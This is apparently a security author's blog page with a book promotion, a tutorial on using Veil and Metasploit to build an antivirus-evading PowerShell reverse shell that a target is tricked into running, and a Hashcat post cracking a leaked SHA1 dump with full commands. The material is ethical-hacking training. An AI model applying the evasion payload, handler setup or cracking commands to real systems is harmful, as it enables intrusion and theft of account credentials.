Basic Security Testing with Kali Linux Giveaway Contest

Want a chance to get a signed copy of my latest Kali Linux book? I am giving away a total of 10 signed copies of “Basic Security Testing with Kali Linux, 3rd Edition”!

Simply follow, like and share this article, or my official Twitter or Instagram announcement, for a chance to win a signed copy of my new book!

10 lucky winners will be randomly selected on October 31st.

The Contest is for those living in the United States only. I may do another one for international readers in the future.

Liking this article & sharing the Official Contest announcements on Twitter and Instagram will increase your chances of winning.  Winners will be notified on October 31st. If a winner cannot be notified or does not respond by the end of the first week of November, another winner will be picked.

Good luck!

 

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New Book Overview: “Basic Security Testing with Kali Linux, 3rd Edition”

My newest book, a cover to cover update of my Basic Kali book is now available! After numerous requests for an update, the new “Basic Security Testing with Kali Linux, 3rd Edition” is here!

What was intended to be a quick version change update, turned into a 6-month overhaul. It is amazing how much can change in the security world in 2 years. All chapters have been revamped, with a lot of new material added. The latest book is also 50 pages longer than the previous version!

What’s New:

  • The entire book was updated to Kali Linux 2018
  • All tools & tutorials updated
  • Obsolete tools removed
  • Many new tools added
  • Password Cracking section expanded
  • Kali on RPi chapter totally revamped
  • Kali NetHunter chapter added

Table of Contents List:

I was going to use Metasploitable3 for the Windows target in this book, but with the install complexity (and install issues) of Ms3, I decided to stay with Windows 7. I also occasionally use Windows 10 as a test target and Server 2016 is mentioned a few times as well. I will most likely use Ms3 for the upcoming advanced book. Metasploitable2 is still used for some of the Linux tutorials, as it is very easy for new users to use and follow.

The Basic Kali book is used by Universities, Training Centers, and in Ethical Hacking classes worldwide. It is also used as a training aid for multiple US Government Agencies. I have also been told numerous times that my Kali series is excellent prep material for the OSCP certification. The book is now in its third revision, with major changes made from user feedback and requests.

I have been completely shocked and humbled by the popularity of a book that was originally written as an extension of my blog posts and has evolved into a worldwide basic training guide for the exceptional Kali Linux ethical hacking platform. This continuing project would have never been possible without the flood of support and feedback from the infosec community. I am very excited to present this new version to the community and look forward to hearing your feedback and comments.

Check it out on Amazon.com.

Thank you so much for your continued support!

Anti-Virus Bypass with Veil on Kali Linux

One of the common hurdles of Ethical Hackers and Penetration Testers is bypassing anti-virus on target systems. Veil uses a Metasploit like interface to create a remote shell program that will bypass most Anti-Virus programs. A little social engineering is required to get the target to run the resultant shell program, but if they do, it will connect back to the Kali system and allow the attacker to have full remote access.

In this article we will discuss how to install and run Veil on Kali Linux. Since the previous version of this article there have been several changes to Veil. The first is that it is now much easier to install and run Veil on Kali Linux. Veil directly supports Kali 2018 and installs by only running two commands. Another change is that Veil includes new payloads written for additional languages.

Read more about the updates at https://www.veil-framework.com/.

INSTALLING VEIL

Tool GitHub Page: https://github.com/Veil-Framework/Veil

Installing Veil 3.x on Kali 2018 is very simple:

Veil Evasion Kali Linux

The install will then run for a while as the dependency packages are installed. Reboot when finished.

STARTING VEIL

Now let’s look at using Veil.

  • In a terminal window, enter, “veil

AV bypass 1

Veil offers two tools, Evasion and Ordinance. We want to run Veil-Evasion.

  • Enter, “use 1

AV bypass Veil 2

The Veil title menu bar should change to “Veil-Evasion”.

USING VEIL-EVASION

The first thing to do is to list the available payloads using the “list” command.

  • Type “list” and then press enter.

AV bypass 3

PowerShell attacks are very popular, so let’s use a PowerShell payload. Just enter the “use” command and the number of the payload that you want. In this tutorial we will use the “powershell/meterpreter/rev_tcp.py” payload.

  1. Type, “use 22” and hit “enter”.

This will select the payload and present us with the following screen:

bypassing AV 4

If you look at the options, you will notice that it looks (and acts) very similar to using Metasploit modules. For this module we will just need to set the LHOST variable to our Kali system IP address.

2. Type, “set LHOST 192.168.1.39” and then hit “enter”.

3. Now enter, “options” to view the value that we just set:

bypassing AV 5

We will leave the LPORT set to the default value of 4444. Now we just need to generate our shellcode.

4. Enter, “generate

Veil will now generate the shellcode with the options that we chose.

5. Now we need to give our created file a filename or base name, I chose “CutePuppy”.

Veil-Evasion now has all that it needs and creates our shellcode file. We should see something like the following output:

bypassing AV 6

This screen shows what payload was used and also where the output file is located. In this instance, the file was placed in the “/var/lib/veil/output/source/” directory. When it is run on a Windows system, it will try to connect out to our Kali machine. But before we do, we will need to start a Metasploit handler to accept the connection. The handler runs in Metasploit and waits until the shell file (CutePuppy.bat in this instance) is opened. Once it is executed, it creates a remote shell between your Windows system and the Kali box.

GETTING A REMOTE SHELL

To create the remote handler, we will be using Metasploit. You can use the RC file generated by Veil, but I prefer to do it manually.

  1. Start the Metasploit Framework from the Kali Quick Start menu.
  2. Now set up the multi/handler using the following settings:
  • use multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.1.39
  • set LPORT 4444
  • exploit

This starts the multi handler on the Kali System:

bypassing AV 7

Now we just need the target computer to run the file that Veil generated.

3. Copy “CutePuppy.bat” to your Windows Desktop:

bypassing AV 8

4. Now, double click on the .bat file to run it.

Nothing appears to happen, but on your Kali system, you should see this:

bypassing AV 9

A reverse shell session!

5. Now if we type “shell”, we see that we do in fact have a complete remote shell:

bypassing AV 10

The big question is, can this bypass anti-virus? At the time of this writing I ran the PowerShell based CutePuppy.bat file on a fully updated Windows 10 system running an updated Anti-Virus and it did detect it as malicious.

Anti-Virus engines have become much better at detecting PowerShell based threats. There are other options you can use in Veil. I will not cover this step by step, but using the “c/meterpreter/rev_tcp.py” payload provided different results.

Generating it into a test.exe file:

bypassing AV 12

We have a shell:

bypassing AV 13

CONCLUSION

Hopefully this article has shown that you cannot trust in your Anti-Virus alone to protect you from online threats. Unfortunately, sometimes your network security depends on your users and what they allow to run. Instruct your users to be very leery of internet links and never open any attachments that they receive in unsolicited e-mails. Blocking certain file types from entering or leaving your network is also a good idea.

Finally, use a Network Security Monitoring system (and logs) to help track down what happened and what was compromised if the worst does happen.

Cracking Passwords up to 256 Characters with Hashcat

Think your 12 character passwords are still strong enough? One of the top password cracking programs can now crack password up to 256 characters!

The 4.x release of Hashcat blows through the previous 32 character password cracking limit and can now crack up to 256 character passwords. It has been very helpful for working through Troy Hunt’s half a billion password hash release.

If you use the default or -w1 speed switch in Hashcat, it will now crack passwords up to 256 characters:

hashcat64 -D 2 –remove -m 100 massiveleak.txt rockyou.txt -o MassiveLeakCracked.txt -r rules/d3ad0ne.rule -w1 –gpu-temp-retain 75

hashcat long passwords1

If you use the -O switch, Hashcat will crack at a much faster rate, but will only be able to crack the traditional 32 and under length hashes:

hashcat long passwords2

As seen in the command below:

hashcat64 -D 2 –remove -m 100 massiveleak.txt rockyou.txt -o MassiveLeakCracked.txt -r rules/d3ad0ne.rule -O –gpu-temp-retain 75

Here are some of the large passwords (most likely unintentional junk) found in Troy Hunt’s 500 Million “Have I been Pwned” SHA1 password hash release:

24пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ

ðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅðíðÅ

&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:&#9679:

12345РїС—Р…РїС—Р…РїС—Р…РїС—Р…РїС—Р…РїС—Р…РїС—Р…РїС—Р…РїС—Р…РїС—Р…

greens and water shine a place where a word friends speak to a thicket:

mihunol:||smtp.zdcd.pn||25||dfslgosa@wa!t.mccdonald@dtfafod307@xzwt.rg:toothyfe:||smtp.zdct.jrg||25||fhwjw307@fgrw.rd||dalecandrobotis@cab.rt:stanmattefel

* The last one could have possibly contained actual account information so the website name and possible account information has been altered, but the style, layout and length have remained the same.

All of the passwords above except for one were recovered from using wordlists and rules together, so similar passwords were already in the wordlist. One was recovered by just daisy chaining together multiple repetitive binary strings.

There are some other odd returns found in the cracked hashes, ones that looked something similar to these:

  • $HEX[ab32d4c1334455]d]9]
  • $HEX[abcbdb1212121212]4]f6d]

I have never seen Hashcat do that before, but when they were decoded from Hex to Ascii they looked about right.

There are also a lot of jumbled together lines that include partial e-mails & passwords together. Some even include what appear to be phone numbers and outdated credit cards (any personal information has already been publicly dumped, some of it for years). Obviously, these weren’t used as passwords, but is just some of the malformed data mentioned on Troy’s blog. Some of these lines are extremely long, so it is impressive that Hashcat is able to recover them.

I am still working through the list, I’m just using a single GTX960 card so it is taking a while, but during the process I found Not so Secure’s “OneRuletoRuleThemAll” Hashcat rule extremely useful.

Thanks to Troy Hunt for releasing the 500 million password dump. As a security trainer, it is a lot of fun and great practice to run through the dump using Hashcat. Also, thanks for his work on the “Have I Been Pwned” website. If you want to see if any of your accounts are included in the dump, just visit the Have I Been Pwned Website.

If you need to crack very long complex passwords, give Hashcat a try. Also, check out my latest book that has an entire section of cracking passwords!